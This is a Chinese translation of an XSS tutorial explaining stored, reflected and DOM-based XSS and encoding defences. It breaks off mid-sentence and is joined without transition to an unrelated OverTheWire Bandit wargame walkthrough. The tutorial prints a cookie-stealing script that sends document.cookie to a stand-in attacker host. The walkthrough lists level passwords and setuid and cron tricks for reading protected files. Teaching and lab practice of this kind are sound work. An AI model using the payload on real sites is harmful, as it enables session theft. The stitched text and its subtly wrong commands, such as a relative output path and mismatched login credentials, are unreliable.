详解XSS(译)

一、XSS 概述

什么是XSS?

Cross-site scripting(XSS)是一种能够在他人浏览器中执行恶意 JavaScript代码的代码注入攻击。

攻击者不需要直接接触受害者。他可以直接利用受害者访问的网站的漏洞来让恶意代码在其浏览器中执行。对于受害者的浏览器来说,恶意的 JavaScript 代码表现的就像是网站合法的一部分,而网站的行为也完全不像是攻击者的帮凶。

恶意的 JavaScript 代码是如何被注入的?

让攻击者能在受害者浏览器上运行恶意代码的唯一方式就是在受害者要访问的网站中的某一个页面里注入代码。这会发生在网站直接在它的页面中包含加载了用户输入,这样攻击者就可以在页面中插入字符串,这段字符串会被受害者的浏览器当做代码执行。

在下面的例子中,一个简单的服务器脚本被用来展示网站上最新的评论:

1
2
3
4
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

这段脚本假设评论仅包含文本。然而,用户输入被直接加载了,攻击者可以提交这样的评论:<script>...<script>。任何用户访问页面都会接收到下列回应:

1
2
3
4
<html>
Latest comment:
<script>...</script>
</html>

当用户浏览器加载了页面后,它将执行包含在<script> 标签中的任意 JavaScript 脚本。攻击者已经成功地实施了攻击。

什么是恶意 JavaScript 脚本?

起初,能在受害者的浏览器中执行 JavaScript 脚本看起来并不是那么恶意。毕竟 JavaScript 运行在一个及其受限的环境,很难访问用户文件和操作系统。事实上,你可以打开你的浏览器的控制台(console)并执行任何 JavaScript 代码,你会发现你很难对你的计算机造成什么实质的损害。

然而,JavaScript 代码也是有可能变得很有恶意的,尤其是当你考虑下列情况时:

  • JavaScript 代码访问了一些用户敏感信息,例如:cookies。
  • JavaScript 代码可以使用 XMLHttpRequest和其他机制来发送包含任何内容的 HTTP 请求到任意目的地。
  • JavaScript 代码可以通过使用 DOM 操作来对当前页面的 HTML 文件做任意修改。

这些情况组合在一起会导致非常严重的安全问题,也是我接下来会解释的。

恶意 JavaScript 脚本带来的后果

在其他用户的浏览器上执行任意 JavaScript 代码允许攻击者实施下列攻击:

  • Cookie 剽窃:攻击者可以使用document.cookie 来访问受害者与网站相关的 cookies,将它们发送到自己的服务器,并用它们来获取像 session IDs 之类的敏感信息。
  • 键盘记录:攻击者可以使用addEventListener 来登记一个键盘事件监听器,然后发送所有的用户按键记录到他自己的服务器,可能会记录像密码和银行卡号这样的敏感信息。
  • 网络钓鱼:攻击者可以使用 DOM 操作在页面中插入假的登录表单,设置表单的 action 到自己的服务器,之后欺骗用户提交敏感信息。

尽管这些攻击有明显的不同,但它们都有一个关键的相似点:因为攻击者将代码注入了网站服务器的页面中,这些恶意代码将会在网站的上下文中运行。这意味着这些恶意代码会被网站当成普通代码对待:它可以访问受害者在该网站上的数据(例如:Cookies)和在URL中显示的主机名。无论出于什么目的和企图,恶意代码都会被当做网站上合法的一部分对待,可以做这个网站能做的任何事情。

这个事实强调了一个关键问题:

如果一个攻击者可以利用你的网站在其他人的浏览器上执行任意 JavaScript 代码,你的网站和用户的安全都是存在问题的。

为了强调这一点,教程中的一些示例将会适用<script>...</script>省去恶意代码的细节。这表明能被注入代码的地方才是问题所在,而不是被执行的恶意代码。

二、XSS 攻击

XSS攻击中的角色

在我们描述 XSS 攻击的细节前,我们需要定义 XSS 攻击中涉及到的角色。事实上,一次 XSS 攻击涉及3个角色:网站受害者攻击者

  • 网站提供 HTML 页面给请求它的用户。在我们的例子中,它位于 http://website/。
    • 网站的数据库保存一些会被加载到网站页面的用户输入。
  • 受害者是该网站的一名普通用户,用浏览器访问页面。
  • 攻击者是该网站的一名恶意用户,尝试利用网站上的 XSS 漏洞来攻击受害者
    • 攻击者的服务器是由他本人控制的网络服务器,唯一的目的是保存受害者的敏感信息。在我们的例子中,它位于 http://attacker/。

一个攻击场景示例

在这个例子中,我们假设攻击者的最终目标是通过利用网站的 XSS 漏洞来偷窃受害者的 cookies。这可以通过在受害者的浏览器中执行下列代码实现:

1
2
3
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

这段代码将用户浏览器导航到一个不同的 URL,触发一个到攻击者服务器的 HTTP 请求。这段 URL 将受害者的 cookies 作为参数包含其中,这样攻击者就能在请求到达时获取到 cookies。一旦攻击者得到了 cookies,他就可以利用它来伪装成受害者,开展后续攻击。

从现在开始,上面这段代码将被称为恶意字符串恶意脚本

示例攻击的工作流程

下面的图展示了攻击者是如何开展示例攻击的:

  1. 攻击者利用网站表单将恶意字符串插入网站数据库。
  2. 受害者从网站请求页面。
  3. 网站将恶意字符串从数据库中取出并包含在响应中发给受害者。
  4. 受害者浏览器执行包含在响应中的恶意脚本,发送受害者的 cookies 到攻击者的服务器。

XSS 的类型

尽管 XSS 攻击的目标总是在受害者的浏览器中执行一些恶意代码,完成这个目标的方式还是会有些许区别。XSS 攻击通常被分为下面三类:

  • 持久化 XSS:恶意代码通常来自网站数据库。
  • 反射式 XSS:恶意代码通常来自用户请求。
  • 基于 DOM 的XSS:漏洞通常在客户端而非服务端。

上一个例子里展示了持久化 XSS 攻击。现在我们将描述另外两种类型的 XSS 攻击:反射式 XSS 和 基于 DOM 的 XSS。

反射式 XSS

在反射式 XSS 攻击中,恶意字符串是受害者向网页发出的 request 的一部分。网站之后会将包含恶意字符串的响应返回给用户。下图展示了该过程:

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被欺骗,向网站发送 URL。

3.网站从 URL 中加载恶意代码作为响应。

4.受害者浏览器执行响应中的恶意代码,发送受害者的 cookies 到攻击者的服务器。

反射式 XSS 是如何成功的?

首先反射式 XSS 看起来危害更小,因为它要求受害者自己来发送包含恶意字符串的请求。因为没有人愿意攻击他自己,这看起来没办法实施这种攻击。

然而事实证明,至少有两种方式会导致受害者自己启动反射式 XSS 来攻击他自己。

  • 如果攻击者的目标是一个特定个体,攻击者可以发送恶意 URL 给受害者(例如使用电子邮箱、及时通讯方式等)并欺骗它们访问。
  • 如果攻击者的目标是很多人,攻击者可以发布一个包含恶意 URL 的链接(例如在他自己的网站或社交网络上)并等待访问者点击。

这两种方法是相似的,并且在使用短链的情况下更可能成功,短链能遮挡住恶意字符串,防止被用户识别出来。

基于 DOM 的 XSS

基于 DOM 的 XSS 是持久化和映射 XSS 的一个变种。在基于 DOM 的 XSS 攻击中,恶意字符串并没有被受害者的浏览器解析,直到网站的合法 JavaScript 代码被执行。下图展示了基于 DOM 的 XSS 攻击场景:

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被攻击者欺骗,向网站发送 URL。

3.网站收到了请求,但并没有将恶意字符串包含在响应中。

4.受害者的浏览器执行了响应中的合法代码,造成恶意脚本被插入页面。

5.受害者的浏览器执行了页面中的恶意脚本,发送了受害者的 cookies 到攻击者的服务器。

###基于 DOM 的 XSS 攻击不同的地方

在之前的关于持久化和映射的 XSS 攻击的例子中,服务器在页面中插入了恶意脚本,这将会作为发送给受害者的响应。当受害者的浏览器接收到响应后,它会把恶意脚本作为页面合法内容的一部分并自动在页面加载其它脚本的时候执行它。

然而在基于 DOM 的 XSS 攻击示例中,没有恶意代码被插入到页面中;唯一被自动执行的脚本是页面本身的合法脚本。问题在于合法脚本会直接利用用户输入在页面中添加 HTML 代码。因为恶意字符串是通过innerHTML 插入页面的,它将会被解析成 HTML,造成恶意脚本被执行。

不同之处很微妙但也很重要:

  • 在传统的 XSS 中,恶意脚本作为页面的一部分🈶服务器发送并在页面被加载时执行。
  • 在基于 DOM 的 XSS 攻击中,恶意脚本是在页面已经被加载一段时间后执行,由页面的合法代码用不安全的方式对待用户输入导致。

为什么基于 DOM 的 XSS 攻击很重要

在之前的例子中,JavaScript 并不是必要的;服务器会自己生成所有的 HTML。如果服务端的代码是没有漏洞的,网站就不会受到 XSS 攻击。

然而,随着 Web 应用变得更加高级,HTML 代码通过客户端的 JavaScript 代码生成而不是通过服务端。任何时候内容都需要在不刷新整个页面的情况下改变,这种更新必须通过 JavaScript 执行。更为具体的,这种情况下,页面是通过一个 AJAX 请求后更新的。

这意味着 XSS 漏洞不仅会出现在你的网站的服务端代码,也会出现在客户端的 JavaScript 代码。因此,即使你的服务端代码是完全安全的,客户端代码也可能会因为在页面被加载后执行了包含用户输入的 DOM 更新而变得不安全。如果这种情况发生了,客户端代码就会在服务端没有问题的情况下触发 XSS 漏洞。

##基于 DOM 的 XSS 对于服务端是不可见的

在基于 DOM 的 XSS 攻击中有一个非常特殊的地方,那就是恶意字符串从开始就没有被发送给服务端。浏览器没有发送恶意代码,所以服务器也就没有办法利用服务端代码进行检查。然而,客户端代码会用不安全的方式来处理它,从而导致 XSS 漏洞。

三、预防 XSS 攻击

预防 XSS 的方法

XSS 攻击实质上是一种代码注入:用户输入被错误的解释成了恶意程序代码。为了防止这种类型的代码注入,安全输入的处理是有必要的。对于 Web 开发者来说,有两种基本的方式来进行安全输入检查:

  • 编码:这将转义用户输入,使得浏览器仅仅解释数据而非代码。
  • 验证:过滤用户输入,使得浏览器解释代码而非恶意命令。

这是很基础的预防 XSS 的方法,它们有几点共同的特征,理解这些是非常重要的:

  • Context:安全输入检查需要被区别对待,这取决于用户输入在页面的何处被插入。
  • Inbound/outbound: 安全输入检查既可以在你的网站接受输入(inbound)时执行,也可以在你的网站将输入插入到页面之前执行(outbound)。
  • Client/server:安全输入检查可以在客户端执行也可以在服务端,在某些情况下甚至都要执行。

在解释如何编码和验证的工作细节之前,我将先描述一下这些关键点。

输入检查上下文

在网页中,用户输入可能会插入的地方会有许多上下文。对于每一种上下文,都必须遵循特定的规则使得用户输入不会打破自己的上下文和被解释成恶意代码。

为什么上下文很重要?

在上面提到的上下文中,用户输入如果没有经过编码或验证就直接插入将会使得出现 XSS 漏洞的概率大幅提高。攻击者可以通过简单地插入分隔符并在后面加入恶意代码来进行注入攻击。

例如,网站如果直接将用户输入作为 HTML 属性插入,攻击者便能够通过在输入起始处输入引号来注入恶意代码,如下所示:

这是可以通过简单地删除所有用户输入中的引号避免的,仅仅在这种上下文中。如果同样的输入被注入到另一处上下文,结尾分隔符可能会改变,注入就很难成功了。因此,安全输入检查往往需要根据用户输入在哪被注入来进行定制。

Inbound/outbound 输入检查

直观上看,好像所有的 XSS 问题都可以通过在网站接收到用户输入时对其进行编码或验证来防范。通过这种方式,任何恶意字符串都应该在被包含进页面时被过滤了。

就像上文提到的,问题在于,用户输入可以被插入页面的几处上下文中。没有很轻松的方法来判断什么时候用户输入会出现在它最终被注入的上下文中,而同样的用户输入通常需要被插入到不同的上下文中。依赖入站输入检查来预防 XSS 是非常脆弱的方法,并会导致一系列问题。(已经被废弃的 PHP 特性“magic quotes” 就是一个典型的例子。)

然而出站输入处理应该成为你对抗 XSS 的基本方法,因为它会考虑到用户输入将被插入处的具体上下文。而入站验证仍然可以成为第二道防线,我们会在之后讨论。

在哪执行安全输入检查

在大多数现代的网站应用中,用户输入会同时被服务端和客户端处理。为了预防所有类型的 XSS 攻击,安全输入检查必须同时在客户端和服务端进行。

  • 为了预防传统的 XSS 攻击,安全输入检查必须考虑服务端的代码。这可以通过服务器上使用的任何语言来支持。
  • 为了预防基于 DOM 的 XSS 攻击,安全输入检查必须考虑客户端代码。这可以通过 JavaScript 代码来支持。

编码

编码是一种转义用户输入的操作,使得浏览器仅仅解释数据而非代码。在 web 开发中最常使用的编码方式是 HTML 转义,这将把字符 ’<‘ 和 ‘>’分别转义成 ‘&lt\;’ 和 ‘&gt\;’ 。

下面的伪代码展示了用户输入时如何通过 HTML 转义编码并通过服务端脚本插入页面的:

1
2
3
4
print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

如果用户输入时字符串

wargame--Bandit

Bandit 是wargame 系列挑战中的第一个系列,也是最基础的一个,可以用来巩固一些命令行基础知识,所有的挑战都通过终端直接 ssh 连接远程主机即可。我在两周前打完了 Bandit,所以写下这篇博客来做一个总结。

Level 0

目标

使用 ssh 连接到目标主机 bandit.labs.overthewire.org 。用户名为bandit0,密码为bandit0

可能会用到的命令

ssh


非常简单,直接连进去可以得到下一关的密码。

1
sshpass -p `natas0` ssh natas0@bandit.labs.overthewire.org -p 2220

这里用到了 sshpass 命令,这个命令允许你进行 ssh 连接时直接输入密码,而不需要再标准输入中输入,非常方便,之后的连接我都是使用的这个命令。可以通过该页面 查看安装如何安装

Level 0 → 1

目标

下一关的密码保存在用户目录下的 readme文件中。无论什么时候得到了下一关的密码,使用 ssh 登入下一关并继续挑战。

可能会用到的命令

ls, cd, cat, file, du, find


使用ls 查看用户目录并用cat查看文件内容。

1
2
cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 1→ 2

目标

下一关的密码保存在用户目录下的”-“文件中。

可能会用到的命令

ls, cd, cat, file, du, find


使用 ls 查看目录并使用 cat 查看文件内容。然而在使用 cat 命令时会出现一直空等的情况。因为文件名”-“是一个特殊字符,它会告诉 Shell 用户想从标准输入输入数据,所以 Shell 就会空等。解决办法就是带上文件路径。

1
2
3
cat ~/-
cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

Level 2→3

目标

下一关的密码保存在用户目录下的 space in this filename文件中。

可能会用到的命令

ls, cd, cat, file, du, find


这一关考察的是转义符的应用。如果直接在 Shell 中打出文件命令的话,Shell 会将输入理解为多个参数,而不是一个文件名,因此需要用转义符’\‘来对空格进行转义。

1
2
3
cat "spaces in this filename"
cat spaces\ in\ this\ filename
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

Level 3→4

目标

下一关的密码保存在 inhere 文件夹下的隐藏文件中。

可能会用到的命令

ls, cd, cat, file, du, find


主要熟悉 ls 命令,加上 -a 参数后就可以看到当前文件夹下包括隐藏文件在内的所有文件。

1
2
3
4
cd inhere
ls -a
cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 4→ 5

目标

下一关的密码保存在 inhere 文件夹下唯一可读的文件中。

可能会用到的命令

ls, cd, cat, file, du, find


inhere 有很多文件,但只有一个是可读的。使用 file 命令可以查看所有文件的文件类型,发现只有一个文件是 ASCII 格式的,那就是我们需要的!

1
2
3
4
cd inhere
file ./-*
cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh

level 5→6

目标

下一关的密码保存在 inhere 文件夹的某个文件中,它有下列特征:可读的;1033字节;不可执行。

可能会用到的命令

ls, cd, cat, file, du, find


这一关用到 find 命令。参数 -size 可以用来指定文件的大小,在数字后加 ‘c’用字节表示,加’k’用 kb 表示,加’M’用 MB 表示。参数 -type 用来指定文件的类型,’f’表示普通文件,’I’表示链接文件,’d’表示目录。

1
2
3
4
5
cd inhere
find ./ -type f -size 1033c
find ./ -size 1033c
cat ./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7

Level 6→7

目标

和上一关类似,这一关的文件在服务器中,没有告诉我们具体位置。这一关的文件有以下特征:属于用户 bandit7;属于组 bandit6;33字节。

可能会用到的命令

ls, cd, cat, file, du, find, grep


这一关还是要用到 find命令。我们已经知道了使用 -size 33c来寻找长33字节的文件。参数 -group bandit6 将会寻找属于组 bandit6 的文件。参数 -user bandit7 将会寻找属于用户 bandit7 的文件。因为该文件在服务器的某处,所以我们要从根目录开始找。执行命令后将会产生许多拒绝访问的报错信息。为了过滤掉这些没用的信息,我们使用 (2>/dev/null)。

小贴士:

‘>’操作符重定向输出到文件或设备。也可以使用’>>’来附加(’>’会覆盖源文件,如果有的话)。

> file : 重定向标准输出到文件

1>file : 重定向标准输出到文件

2>file : 重定向标准错误到文件

&>file : 重定向标准输出和错误到文件

/dev/null 是空设备,任何定向到它的数据都会被删除,可以用来压缩任何输出。

1
2
3
find / -size 33c -user bandit7 -group bandit6 2>/dev/null
cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

Level 7→8

目标

下一关的密码保存在 data.txt 文件中的单词 millionth 后面。

可能会用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd


这一关很简单,直接用 grep 就好。

1
2
grep "millionth" data.txt
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 8→9

目标

下一关的密码保存在文件 data.txt中并且仅有一行只出现一次。

可能会用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd


因为下一关的密码是唯一的一行,我们需要使用uniq -u命令来从 data.txt中获取。然而,uniq 只能从输入中过滤相邻匹配的行,所以我们需要在使用uniq前排序。因此,我们需要sort data.txt 并使用管道传递给uniq -u

1
2
sort data.txt | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 9→10

###目标

下一关的密码保存在 data.txt 文件中,只有少部分以’=’ 开头的字符串是可读的。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd


使用 strings命令打印出文件中所有可打印的字符,然后用管道将其传递给 grep = 来查找所有的’=’。 输出的所有行将会包含’=’,其中之一会有密码。如果使用’==’来替代’=’,你会发现仅有4行结果。

1
2
3
4
5
strings data.txt | grep ==
========== the
,========== passwordc
========== is
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

Level 10→11

###目标

下一关的密码保存在 data.txt文件中,它包含 base64 编码的数据。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd


提示在于 base64 编码的数据。我们需要将 base64 编码的数据解码来获取下一关的密码。

1
2
base64 -d data.txt
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Level 11→12

目标

下一关的密码保存在 data.txt 中,所有的小写(a-z)和大写(A-Z)字母都经过了13位翻转。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd


从命令列表中发现,tr 命令用于变换或删除字符。使用方式:tr [OPTION] … SET1 [SET2]。SETs可以被表示为 CHAR1-CHAR2,其中所有的字符是以升序从 CHAR1 到 CHAR2。ROT13是翻转 a 到 n,b 到 o, c 到 p … z 到 m,大写字母类似。我们可以写出完整的列表或者简化版本。首先,我们需要通过管道将 data.txt 作为输入传给 tr

1
2
3
cat data.txt | tr abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM
cat data.txt | tr a-zA-Z n-za-mN-ZA-M
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

Level 12→13

###目标

下一关的密码保存在文件 data.txt 中,它是一个被重复压缩的 hexdump 文件。在这一关中,使用 mkdir 命令在 /tmp 目录下创建一个可以工作的目录是非常有用的。例如:mkdir /tmp/myname123。之后用 cp 复制 data.txt 文件并用 mv重命名。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv


从列出的命令来看,xxd 用来生成 hexdump 或者进行逆向。应该是会用到的。另外,这个文件被重复压缩了,所以我们也会需要gzipbzip2。就像目标中提及的,这需要进行几次迭代和一个临时的工作目录。

首先,我们将 hexdump文件逆向成二进制文件。使用 file 命令,我们可以查看文件的压缩格式。使用man gzip命令,我们可以查到解压的参数是-d 。如果我们现在使用gzip -d data2,这将会报未知后缀的错误。因此,我们需要在解压前重命名文件为.gz 后缀

1
2
3
4
5
xxd -r data.txt data2
file data2
data2: gzip compressed data, was "data2.bin", from Unix, last modified: Thu Jun 6 13:59:44 2013, max compression
mv data2 data.gz
gzip -d data.gz

现在一个新的文件 data 已经在目录中了。再次使用 file 来查看文件的类型。data 是一个 bzip2 压缩文件。使用 bzip2 -d data 来解压。它会抱怨源文件名并添加一个 .out 后缀。

1
2
3
4
file data
data: bzip2 compressed data, block size = 900k
bzip2 -d data
bzip2: Can't guess original name for data -- using data.out

重复类似的操作,可以得到下一关的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
file data.out
data.out: gzip compressed data, was "data4.bin", from Unix, last modified: Thu Jun 6 13:59:43 2013, max compression
zcat data.out > data3
file data3
data3: POSIX tar archive (GNU)
tar -xvf data3
data5.bin
file data5.bin
data5.bin: POSIX tar archive (GNU)
tar -xvf data5.bin
data6.bin
file data6.bin
bzip2 -d data6.bin
bzip2: Can't guess original name for data6.bin -- using data6.bin.out
file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
tar -xvf data6.bin.out
data8.bin
file data8.bin
data8.bin: gzip compressed data, was "data9.bin", from Unix, last modified: Thu Jun 6 13:59:43 2013, max compression
zcat data8.bin > data9.bin
file data9.bin
data9.bin: ASCII text
cat data9.bin
8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Level 13→14

目标

下一关的密码保存在 /etc/bandit_pass/bandit14 中,并且只能被用户 bandit14 读。在这一关中,你无法获得下一关的密码,但是你可以获得用于登录下一关的 SSH 私钥。注意:localhost 是你正在工作的机器的主机名。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap


线索来自目标。首先一个 SSH 私钥已经在 bandit13 的用户目录下了。

1
sshkey.private

我们必须以 bandit14 的身份使用私钥进行登录。

1
ssh -i sshkey.private bandit14@localhost

在我们以 bandit14 的身份登录后,我们需要做的就是拿到下一关的密码。

1
2
cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

Level 14→15

目标

可以通过提交本关的密码到 localhost 上的 30000 端口来获取下一关的密码。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap


1
2
3
nc localhost 30000 < /etc/bandit_pass/bandit14
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

Level 15→16

###目标

可以使用 SSL 加密提交本关的密码到 Localhost 上的端口 30001来获取下一关的密码。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap


openssl 的帮助页面上,s_client 命令实现了一个通用的 SSL/TLS客户端。用它来完成本关的挑战。

1
2
3
openssl s_client -connect localhost:30001 -quiet < /etc/bandit_pass/bandit15
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

Level 16→17

目标

提交当前关的密码到 localhost 上范围31000-32000的一个端口上来获取下一关的密码。首先找到哪些端口正被服务器监听。之后找到哪些支持SSL,哪些不支持。仅有一个端口会返回下一关的密码,其它的则是返回你发送的数据。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap


查看一下提供的命令,nmap 看起来是我们需要的。参数 -p 可用来指定扫描端口的范围。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -p 31000-32000 localhost

Starting Nmap 5.21 ( http://nmap.org ) at 2014-11-02 07:06 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00087s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
31046/tcp open unknown
31518/tcp open unknown
31691/tcp open unknown
31790/tcp open unknown
31960/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

有5个在扫描范围内开放的端口。我们可以检查每一个端口,发现 31790 是我们想要的。另外,我们可以写一个脚本,创建一个 /tmp/key 文件夹并将密钥保存在这。

1
cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31790 -quiet > /tmp/key/b16pkey

如果你这样使用密钥,是非常不安全的,因为每个人都可以看到它。原因在于该文件的读写权限对所有人都是开放的。我们需要改变它的读写权限让它仅对拥有者开放。

1
chmod 600 /tmp/key/b16pkey

之后我们就可以用它登录了。

1
ssh -i /tmp/key/b16pkey bandit17@localhost

下一关的密码在同样的位置。

1
2
cat /etc/bandit_pass/bandit17
xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn

Level 17→18

目标

用户目录下有两个文件:passwords.oldpasswords.new 。下一关的密码在 password.new 中,并且在新密码和旧密码中仅有一行不同。

可能用到的命令

cat, grep, ls


diff 命令会输出两个文件中所有不同的行。

1
2
3
4
5
diff passwords.new passwords.old
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
---
> PRjrhDcANrVM6em57fPnFp4Tcq8gvwzK

Level 18→19

###目标

下一关的密码保存在用户目录下的 readme 文件夹下。不幸的是,在你使用 SSH 登录的时候,某个人已经修改了 .bashrc 文件来将你登出。

可能用到的命令

ssh, ls, cat


从 ssh 的帮助文档中,我们可以在登录之后执行一个命令。因为我们已经知道密码保存在哪,我们可以在被登出前查看它。

1
2
ssh bandit18@bandit.labs.overthewire.org cat readme
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

Level 19→20

目标

为了进入下一关,你应该使用用户目录下的 setuid 二进制文件。在没有参数的情况下执行它来探索如何使用。在你正确使用了它后,下一关的密码可以在(/etc/bandit_pass)中找到。


查看用户目录,我们可以看到由bandit20创建的 bandit20-do文件,可以被bandit19访问。该文件的权限设置是 rws。s 权限意味着当该文件被执行时,它会在所有者的权限下运行。

1
-rwsr-x--- 1 bandit20 bandit19 7237 Jun 6 2013 bandit20-do

因为所有者是 bandit20,我们可以尝试运行它,并使用提升的权限来查看下一关的密码。

1
2
3
./bandit20-do
Run a command as another user.
Example: ./bandit20-do id

让我们查看密码文件并获取下一关的密码。

1
2
./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Level 20→21

目标

用户目录下有一个 setuid 二进制文件,它做下列事情:建立一个到 localhost 某一端口的连接,该连接可由你通过命令行参数指定。它之后会从连接处读入一行文本并和上一关(bandit20)的密码比较。如果密码是正确的,它将传回下一关的密码(bandit21)。

注意:为了通过这关,你需要登录两次:一次运行 setuid 命令,一次启动 setuid 将会连接的网络服务。

注意 2:尝试连接你自己的网络服务来查看是否如你想象的那样工作。


可以看到 suconnect 需要执行,让我们看看执行的结果。

1
2
3
4
5
./suconnect
Usage: ./suconnect <portnumber>
This program will connect to the given port on localhost using TCP.
If it receives the correct password from the other side, the next
password is transmitted back.

就像注意中所提示的,我们需要两个实例,一个用来监听端口,另一个读入和返回下一关的密码。我们使用 nc来监听我们选择的端口并发送这关的密码到该端口。

1
nc -l 32123 < /etc/bandit_pass/bandit20

在另一个 ssh 会话中,我们在同一个端口启动 suconnect ,马上得到了回应。

1
2
3
./suconnect 32123
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

此时查看第一个会话,发现下一关的密码就在其中。

1
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

Level 21→22

目标

一个程序通过 cron 在规律的中断下自动运行,基于时间的作业调度。查看 /etc/cron.d 的配置来查看什么命令被执行了。

可能用到的命令

cron, crontab, crontab(5) (use “man 5 crontab” to access this)


从目标来看,我们可以访问 /etc/cron.d 并查找一些文件。名为 cronjob_bandit22 的文件看起来是我们感兴趣的。它展示了 cron_job_bandit22.sh 脚本的位置。我们来看看这个脚本。

1
2
3
4
5
6
7
cat cronjob_bandit22
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

某人将 bandit22 的密码放入了临时文件中。我们再一次查看临时文件,找到下一关的密码。

1
2
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Level 22→23

目标

一个程序通过 cron 在规律的中断下自动运行,基于时间的作业调度。查看 /etc/cron.d 的配置来查看什么命令被执行了。

可能用到的命令

cron, crontab, crontab(5) (use “man 5 crontab” to access this)


和上一关做一样的事情,我们发现了下面这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
cat cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null

cat /usr/bin/cronjob_bandit23.sh

#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

我们注意到 whoami 返回当前用户,也就是 bandit22。所以我们应该改变它,先运行一下这个脚本看看会发生什么。

1
2
/usr/bin/cronjob_bandit23.sh
Copying passwordfile /etc/bandit_pass/bandit22 to /tmp/8169b67bd894ddbb4412f91573b38db3

所以我们将 bandit22 换成 bandit23,我们将会获得一个包含下一关密码的文件。长文件名是 mytarget 的 mds hash。我们得到这个长字符串并查看该文件的内容,即为我们下一关的密码。

1
2
3
4
5
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349

cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

Level 23→24

目标:

一个程序通过 cron 在规律的中断下自动运行,基于时间的作业调度。查看 /etc/cron.d 的配置来查看什么命令被执行了。

注意:这一关需要你自己创建自己的第一个 shell 脚本。这是一个非常大的进步。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat cronjob_bandit24
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in *;
do
echo "Handling $i"
./$i
rm -f $i
done

从脚本的描述来看,它将执行 $myname 文件夹下的所有脚本。我们在 /var/spool 目录下发现了 bandit24 文件夹。因此,让我们写一个脚本复制密码到临时文件夹中。

1
2
3
4
5
mkdir /tmp/b23abc
vim /tmp/b23abc/getpass.sh
cat /tmp/b23abc/getpass.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > tmp/b23abc/pass.txt

我们能复制文件到 /var/spool/bandit24 ,但是记住执行前必须设置权限。

1
2
chmod 777 /tmp/b23abc/getpass.sh
cp /tmp/b23abc/getpass.sh /var/spool/bandit24/

然而,在几分钟后,我们并没有在文件夹中获得 pass.txt 。我们忘记设置文件夹的权限,使得文件能被写入。完成后,我们就可以得到下一关的密码。

1
2
3
